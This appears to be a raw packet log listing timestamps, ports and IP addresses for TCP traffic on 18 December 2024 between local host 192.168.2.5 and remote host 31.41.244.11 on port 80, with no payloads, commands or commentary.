Dec 18, 2024 19:08:14.266392946 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.266465902 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.266515970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.267307043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.267568111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.267636061 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.268245935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.268299103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.268600941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.268649101 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.269238949 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.269285917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.269947052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.269995928 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.270097971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.270143986 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.270226955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.271051884 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.271102905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.271167040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.271214008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.272109985 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.272161961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.272432089 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.272474051 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.272981882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.273083925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.273149967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.273196936 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.273921967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.273964882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.274238110 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.274283886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.274794102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.274838924 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.275170088 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.275216103 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.275775909 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.275818110 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.275827885 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.275867939 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.276747942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.277015924 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.277069092 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.277884960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.277935028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.278021097 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.278063059 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.278559923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.278604031 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.278604031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.278640032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.422204971 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.422358990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.422437906 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.422704935 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.422755957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.422955036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.423002005 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.423635960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.423683882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.423845053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.423892975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.424535990 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.424583912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.424890995 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.424932957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.425534010 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.425574064 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.426407099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.426455021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.426651955 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.426668882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.426693916 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.426713943 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.427440882 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.427453041 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.427510023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.428369999 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.428925037 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.428975105 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.429341078 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.429383993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.429467916 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.429511070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.430191994 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.430238008 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.430421114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.430460930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.431174040 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.431185961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.431227922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.432137012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.432178974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.432205915 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.432248116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.433047056 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.433094978 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.433594942 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.433654070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.434056044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.434067965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.434108019 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.434947014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.435198069 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.435246944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.435971975 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.436018944 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.436289072 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.436335087 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.436794043 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.436841011 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.437359095 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.437407017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.438997984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439049006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.439133883 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439146042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439182997 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.439390898 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439645052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439692974 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.439754009 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.439799070 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.440530062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.440800905 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.440856934 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.441529989 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.441581964 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.441649914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.441700935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.442428112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.442621946 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.442672014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.443429947 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.443480015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.443670988 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.443717957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.444392920 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.444437027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.444565058 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.444607973 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.445353031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.445368052 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.445394993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.445410967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.446247101 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.446616888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.446670055 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.447196960 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.447247028 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.447489023 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.447540045 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.448193073 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.448271036 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.448319912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.449074984 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.449124098 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.449240923 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.449287891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.450162888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.450208902 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.450382948 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.450428963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.450989008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.451035023 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.451060057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.451103926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.451905012 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.451951027 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.452013969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.452065945 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.452820063 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.452986956 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.453032970 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.453722000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.453773022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.453830957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.453879118 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.454705000 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.454751015 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.454893112 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.454937935 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.455735922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.456224918 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.456379890 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.456420898 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.456681967 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.456724882 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.456818104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.456859112 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.457482100 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.457530022 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.457600117 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.457640886 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.458446026 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.458492041 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.459290981 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.459342957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.459477901 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.459525108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.459660053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.459714890 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.460347891 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.460392952 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.460433006 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.461255074 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.461543083 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.462266922 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.462277889 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.462332010 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.462366104 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.462414980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.463140965 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.463196993 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.463222980 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.463260889 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.464096069 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.464148998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.464441061 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.464490891 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.465019941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.465070963 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.465979099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.465991020 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.466038942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.466130972 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.466181040 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.466928959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.467137098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.467175961 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.467931032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.467991114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.468159914 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.468200922 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.468791962 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.468835115 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.469007969 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.469046116 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.469799042 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.469841957 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.469944954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.469993114 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.470772028 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.470830917 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.470979929 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.471056938 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.471558094 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.471616030 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.614284039 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.614497900 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.614552975 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.614725113 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.614783049 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.615042925 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.615089893 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.615485907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.615523100 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.615662098 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.615704060 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.616420031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.616615057 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.616658926 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.617321014 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.617367983 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.617630959 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.617677927 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.618262053 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.618309021 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.618418932 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.618458033 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.619193077 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.619235992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.619405031 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.619448900 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.620124102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.620167017 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.620253086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.621108055 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.621155024 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.621344090 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.621388912 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.622075081 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.622117043 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.622975111 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.622987032 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.623018980 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.623178005 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.623219967 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.623914957 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.623927116 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.623958111 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.624825954 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.624927044 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.624974012 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.625775099 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.625818014 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.626009941 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.626050949 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.626748085 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.626791954 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.626873016 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.626916885 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.627644062 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.627701998 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.627779961 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.627818108 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.628587008 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.628711939 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.628760099 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.629620075 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.629671097 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.629729986 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.629771948 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.630482912 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.630522966 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.630846024 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.630887032 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.631433964 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.631474972 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.631560087 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.631599903 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.632352114 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.632507086 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.632551908 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.633311033 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.633358002 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.633385897 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.633426905 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.634380102 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.634424925 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.634502888 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.634542942 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.635205030 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.635246992 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.635289907 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.635324955 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.636110067 CET	80	49720	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:14.636148930 CET	49720	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:14.636301041 CET	80	49720	31.41.244.11	192.168.2.5
